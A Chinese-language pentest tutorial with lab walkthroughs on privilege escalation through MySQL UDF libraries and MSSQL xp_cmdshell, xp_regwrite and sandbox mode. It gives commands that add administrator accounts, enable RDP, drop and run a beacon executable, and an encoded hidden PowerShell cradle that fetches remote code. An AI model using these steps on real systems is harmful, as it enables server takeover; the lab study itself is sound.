应用程序提权
MySQL提权
利用场景
目标主机开启MySQL远程连接,并且攻击者已经获得MySQL数据库连接的用户名和密码信息,通过 UDF手工提权获得操作系统管理员权限。
- 拥有数据库账号密码,可以远程连接数据
- 拥有Webshell,可以连接数据库
- 能够写文件
- 可以操作数据库
如果获取数据库的密码
- 找到数据库的配置文件
- 通过webshell 对数据库进行本地爆破
- msf
- 或者专门爆破数据库的工具
- hash 获取 Mysql 密码
UDA提权简介
UDA 提权
UDF提权指的是利用注入漏洞或其他漏洞获取了数据库操作权限后,通过数据库输出具有提权功能的文件并执行提权操作。
简单的说就是使用 用户自定义函数进行加载payload 只不过这里的payload 格式是dll文件形式的
UDF介绍
UDF: User Defined Function(用户自定义函数),为用户提供了一种高效创建函数的方式
攻击者编写调用系统cmd命令(linux下相当于调用shell命令)的udf.dll文件,并将udf.dll导 出到指定目录下,攻击者创建一个指向udf.dll的自定义函数func,每次在数据库查询中执行func函数等价于在cmd命令中执行命令。
dll 文件存放的目录
这个目录用于应用或者系统加载dll 文件
Windows 2003:C:\windows\目录下
MySQL 5.1 版本后:MySQL安装目录\lib\plugin\目录下
32位的DLL存放在C:WindowsSysWOW64,而64位的DLL存放在C:WindowsSystem32
udf.dll
lib_mysqludf_sys_32.dll
我们这里会用到 lib_mysqludf_sys_32.dll ,在 Metasploit framework 里面已经有了,你可以 在 /usr/share/metasploit-framework/data/exploits/mysql/ 这个目录下选择对应操作系统和 架构的 UDF 文件。
sys_exec
该函数将在‘系统’ 函数内传递参数args->args[0] 可以使用它在目标机器上执行系统命令
1 |
|
sys_eval
该函数执行系统命令并且在屏幕上通过标准输出显示
1 |
|
sys_get
该函数使用getenv 函数放回系统变量的值
1 |
|
sys_bineval
该函数将使用VirtualAlloc API分配RWX内存,并使用strcpy将args-> args [0]复制到新 分配的内存中。然后,这个缓冲区被传递给CreateThread API来产生一个新的线程。
1 |
|
这个可以用于Shellcode 加载器,从而实现免杀
k8-udf.dll
https://github.com/ym2011/POC-EXP/tree/master/K8/Mysql%E6%8F%90%E6%9D%83
查看dll 文件导出函数
创建函数
1
create function 函数名(区分大小写) returns string soname "dll名" (注意路径);
删除函数
1
delete function 函数名;
使用函数
1
select 函数名(参数列表);
获取参数信息
1
select 函数名("help");
dll 包含的函数
1
2
3
4
5
6
7
8
9
10cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 关于;
UDF 提权步骤
查看操作系统的版本,确定使用什么文件
1
2select @@version_compile_os, @@version_compile_machine;
show variables like '%compile%';查看mysql 的安装路径和版本
1
2
3show variables like '%char%';
select @@datadir;
select version();如果是phpstudy的话,在mysql 同一个目录之下有一个www目录就是网站目录
查看plugin目录路径
1
2select @@plugin_dir;
show variables like '%plugin%';该目录就是放置dll 文件的地方‘
查看是否存在写权限
1
show global variables like '%secure%';
secure-file-priv 参数是用来限制 LOAD DATA, SELECT … INTO OUTFILE, and LOAD_FILE()传 到哪个指定目录的。
当 secure-file-priv 的值为 NULL ,表示限制 mysqld 不允许导入、导出
当 secure-file-priv 的值为 /tmp/,表示限制 mysqld 的导入、导出只能发生在/tmp/目录下
当 secure-file-priv 的值没有具体值时,表示不对 mysqld 的导入、导出做限制
如果发现这个并不为“” 空字符的话,那么这个也就没有办法利用了
如果是可以修改配置文件的情况下,可以尝试secure_file_priv 参数:
Windows: 修改 my.ini 在[mysqld]内加入secure_file_priv=,重启mysql
Linux:修改 my.cnf 在[mysqld]内加入secure_file_priv=,重启mysql
我这里靶场的原因我就直接修改了
mysql 写文件
1
2select '111' into dumpfile 'C:\\1.txt';
select '222' into outfile 'C:\\2.txt';outfile函数:可以导出多行数据
dumpfile函数:只能导出一行数据
outfile函数:在将数据写到文件里时有特殊的格式转换
dumpfile函数:在将数据写到文件里时保持源数据格式
dumpfile 用于处理二进制,导入成二进制
outfile 直接导入,如果是写webshell 那就直接这么写
当拥有可以写入的权限之后
就可以尝试写文件了
成功写入
创建plugin目录
在MySQL5.1以后的环境下只有将udf.dll文件导出到MySQL安装目录\lib\plugin\目录下才 能成功,但是很多时候mysql安装目录下并不存在lib目录,mysql文件操作也并不能直接创建 目录,此时需要通过NTFS ADS流来创建目录。
我这里就没有存在
1
2select 'xxx' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin::$INDEX_ALLOCATION';
这个就是创建一个文件夹
ADS 流
NTFS ADS :全称为NTFS交换数据流(NTFS Alternate Data Streams),是NTFS文件系统的一 个特性。NTFS文件系统中的每一个文件可以包括多个数据流,每个文件数据流的完整格式如下:
1
2<filename>:<stream name>:<stream type>
<文件名>:<流名>:<流种类>只有一个data流时,stream name通常可以省略,stream type也可以成为attribute type。我 们通常看到的是文件的data流,其它数据流都处于隐藏状态。当attribute type为$INDEX_ALLOCATION 时,表明该该数据流的宿主是文件夹。所以可以通过 mysql 导出数据到 directory_path::$INDEX_ALLOCATION文件的方法来创建directory_path目录。
$DATA流创建
创建宿主文件
1
echo "this is a test file" > test.txt
关联数据流
1
echo "this is a ads file" > test.txt:aaa:$data
查看test.txt文件,读取正常
1
2type test.txt # 查看文件类型
"this is a test file"当使用echo 输入的时候会发现并没有这个文件,但是我们使用
1
dir /r
的时候就会出现了
想要查看的话通过
1
notepad filename
就可以通过记事本打开了
流文件无法直接删除,只能删除源文件
创建隐藏文件
1
type pass.txt > song.mp3:password:$DATA
- $INDEX_ALLOCATION流创建文件夹
注意前面跟文件夹的地址1
echo 123 > hello::$INDEX_ALLOCATION
创建临时表
1
create table udftemp(data BLOB);
BLOB 全称为 Binary Large Objects,即大型二进制对象
或者使用
1
create table udftemp(data longblob);
为什么创建这个表?
因为我们需要这这个表中存储大量的二进制对象
将dll 文件转换为十六进制
可以通过MySQL的hex函数将dll文件二进制数据转为十六进制数据,并保存到udf.txt文件中
1
select hex(load_file('C:\\udf.dll')) into dumpfile 'C:\\udf.txt';
这个步只需要将文件保存为16进制就行了,也可以尝试使用其他的方式,比如010 editor
注意注意,这一步可以使用自己mysql 实现,也就是说,我们不需要上传文件到这个目录
将dll文件内容插入表中
将udf.dll二进制数据插入临时表udftemp中,$binaryCode为udf.txt文件中复制的内容。
1
2INSERT into udf values(CONVERT(二进制文件,CHAR));
将dll导出到plugin目录
1
select data from udftemp into dumpfile "C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll";
创建函数
1
create function sys_eval returns string soname 'udf.dll';
执行命令
1
select sys_eval('whoami');
添加管理员用户
1
2
3select sys_eval('net user udftest 123456 /add & net localgroup administrators udftest /add');
select sys_eval('net localgroup administrators')命令执行反弹shell
也就是将dll 文件变成了我们的payload 然后通过这个 执行这个payload 实现反弹shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14# 创建临时表
create table beacon(data longblob);
# 转换beacon.exe二进制内容为十六进制
select hex(load_file('C:\\beacon.exe')) into dumpfile 'C:\\beacon.txt';
# 将16进制beacon文件写入beacon表
insert into beacon(data) values (0x+beacon.txt中的值);
# 写入beacon.exe
select data from beacon into dumpfile "C:\\beacon.exe";
# 利用创建的命令执行函数执行beacon.exe
select sys_eval('start c:\\beacon.exe')
msf 自动提权
exploit/multi/mysql/mysql_udf_payload
没有上线
发现已经创建了这个dll
MSSQL
MSSQL角色用户权限
通过查看用户身份判断是不是dbcreator或者是sysadmin ,如果是才能利用,如果不是的话,会有很多问题
常用的指令
1 |
|
xp_cmdshell
简介
xp_cmdshell 扩展存储过程,可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符
串,并以文本行方式返回任何输出。
由于 xp_cmdshell 可以执行任何操作系统命令,所以一旦SQL Server管理员帐号(如sa)被攻破,那么攻击者就可以利用 xp_cmdshell 在 SQL Server 中执行操作系统命令。
注意:
SQL Server 2000 中默认是开启 xp_cmdshell 的
SQL Server 2005 及以上版本中 xp_cmdshell 默认是关闭的
如果发现没有打开xp_cmpshell
如果当时已经获取administrator的权限的话,我们可以尝试打开
基本使用
1 |
|
提权利用
判断用户权限
1
select IS_SRVROLEMEMBER ('sysadmin')
只有sysadmin 组的用户才能执行xp_cmdshell
或者使用其他的方式
1
and (select IS_SRVROLEMEMBER ('sysadmin'))=1--
判断是否存在 xp_cmdshell
判断数据库中是否存在 xp_cmdshell 组件,返回结果为1表明组件存在
1
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'
或者
1
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
检测 xp_cmdshell 是否启用
尝试通过 xp_cmdshell 执行命令,检测 xp_cmdshell 是否启用
1
exec master..xp_cmdshell "ver";
如果像这样的话,就是没有开启
启用 xp_cmdshell
1
2
3exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;设置完成之后
就可以通过使用
1
exec master..xp_cmdshell "ver";
1
exec master..xp_cmdshell "net user";
执行系统命令添加用户
1 |
|
或者直接执行payload
web_delivery
只用这个模块
1
2powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABuAEMAbABlAGwAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAbgBDAGwAZQBsAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAbgBDAGwAZQBsAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMgAwADAAMAAxADoAOAAwADgAMAAvADIAbgBUAHMAcwBKAHMAMQAvADgAYQB3AEgAcQBoAHMAYwB2AGQAYwAzADUAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADIAMAAwADAAMQA6ADgAMAA4ADAALwAyAG4AVABzAHMASgBzADEAJwApACkAOwA=
让其运行这个payload 然后就能获取对应的
或者使用hta_server
xp_regread
这个模块有一个问题,这个没有回显
是否开启远程桌面
1:开启
0:关闭
1
2exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal
Server','fDenyTSConnections'读取远程桌面端口
1
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp','PortNumber'
开启远程桌面
1
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
关闭远程桌面
1
EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
沙盒模式
只有windows xp和windows 2003可用
沙盒模式是数据库的一种安全功能,在沙盒模式下,只对控件和字段属性中的安全且不含恶意代 码的表达式求值。如果表达不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全 的。
无法执行命令时,xp_regwrite 可用
启用Ad Hoc Distributed Queries
exec sp_configure ‘show advanced options’,1;reconfigure;
exec sp_configure ‘Ad Hoc Distributed Queries’,1;reconfigure
读取SandBoxMode[可选]
1
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';
SandBoxMode参数含义(默认是2)
0:在任何使用者中禁止启用安全模式
1:仅在允许范围内
2:必须在access模式下
3:完全开启
关闭沙盒模式
1
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
执行系统命令
1
2
3
4
5
6
7# 添加用户 test/test
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test test /add")');
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")');
# 执行whoami命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")');
提权示例
mysql 提权
实验环境
目标机器
操作系统:Windows7
IP:10.1.1.132攻击机器
操作系统:Windows7工具:中国蚁剑、winhex
IP:10.1.1.200
实验过程
0x00 简介
已知目标的网站
发现易优cms,尝试收集漏洞
直接搜索
然后发现可能存在漏洞,前台getshell
尝试利用
1 |
|
发现存在漏洞
0x01
开启bp 抓包
改为post
构造payload
1 |
|
注意这个是php 的一句话木马
发送之后获取上传的文件路径
http://www.heti.com/preview/a2a0b7436e8f2bb1d951a830ec83340f.php
上传成功
无法执行命令
0x02 提权
由于发现没有办法进行执行命令,所以尝试提权
搜索文件结构发现存在phpstudy
找到了mysql 的配置文件,尝试寻找user 和password
通过解密获取了密码是root123
注意这个是mysqli
0x03 mysql 提权
查看路径是否可以写
发现可以
查看mysql 安装目录
当
MySQL<5.1
版本时,将.dll
文件导入到C:\windows
或者C:\windows\system32
目录下。当
MySQL>5.1
版本时,将.dll
文件导入到MySQL5.xx\lib\plugin
目录下 (lib\plugin目录默认不存在,需自行创建)。
创建文件夹
1
2select 'xxx' into outfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\::$INDEX_ALLOCATION';
虽然说是False 但是其实已经创建成功
同样的方式传创建 plugin
1
select 'xxx' into outfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\::$INDEX_ALLOCATION';
导入dll
1
select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000 into dumpfile 'C:/phpstudy_pro/Extensions/MySQL5.5.29/lib/plugin/udf.dll'
注意替换这个值
执行成功
创建自定义函数
1
2create function sys_eval returns string soname 'udf.dll'
执行系统命令
1
select sys_eval('whoami')
还有方法二,就是和上面学习过程的一样了,创建一个大型二进制对象
0x04 方法二
先做一下痕迹清楚
1 |
|
1 |
|
1 |
|
已经不存在了
接着就是第二个方法了
创建一个大型二进制对象文件,用于存储dll
1
2
3
4# BLOB全称为Binary Large Objects,即大型二进制对象
CREATE TABLE udf(udf BLOB);将udf.dll 二进制数据插入临时表udf 中:
1
INSERT into udf values(CONVERT(二进制文件,CHAR));
将
udf.dll
导出到MySQL
安装目录下的lib/plugin/udf1.dll
文件中:1
2SELECT udf FROM udf INTO DUMPFILE "C:/phpstudy_pro/Extensions/MySQL5.5.29/lib/plugin/udf1.dll"
发现是true
创建sys_eval 函数
1
create function sys_eval returns string soname 'udf1.dll'
执行命令
执行成功
MSSql
实验环境
测试环境:windows sever 2003,IP地址: 10.1.1.215
实验过程
0x00
发现测试目标是
1 |
|
正常查询发现可以访问
添加单引号发现不能执行
添加1=2 发现不能执行
0x01 查看用户权限
判断是否是sysadmin 组的用户,因为只有该组的用户才能执行xp_cmdshell
1 |
|
发现成功出现信息说明=1 成立
0x02 判断是否存在xp_cndshell
1 |
|
发现存在xp_cmdshell
0x03 判断xp_cmdshell 是否可用
1 |
|
发现没有开启服务
根据提示开启
0x04 开启xp_cmdshell
1 |
|
1 |
|
没有报错说明成功运行
0x05 利用xp_cmdshell进行提取,也就是在目标服务器新建一个账户。
1 |
|
执行发现并没有报错
0x06 添加用户到管理员组
1 |
|
但是这个是内有回显的
0x07 检测
由于这个是本机搭建的环境所以我们本机访问
已经成功的提权了
前面发现可以通过xp_cmdshell 可以执行命令,如果我们执行payload 就直接获取的shell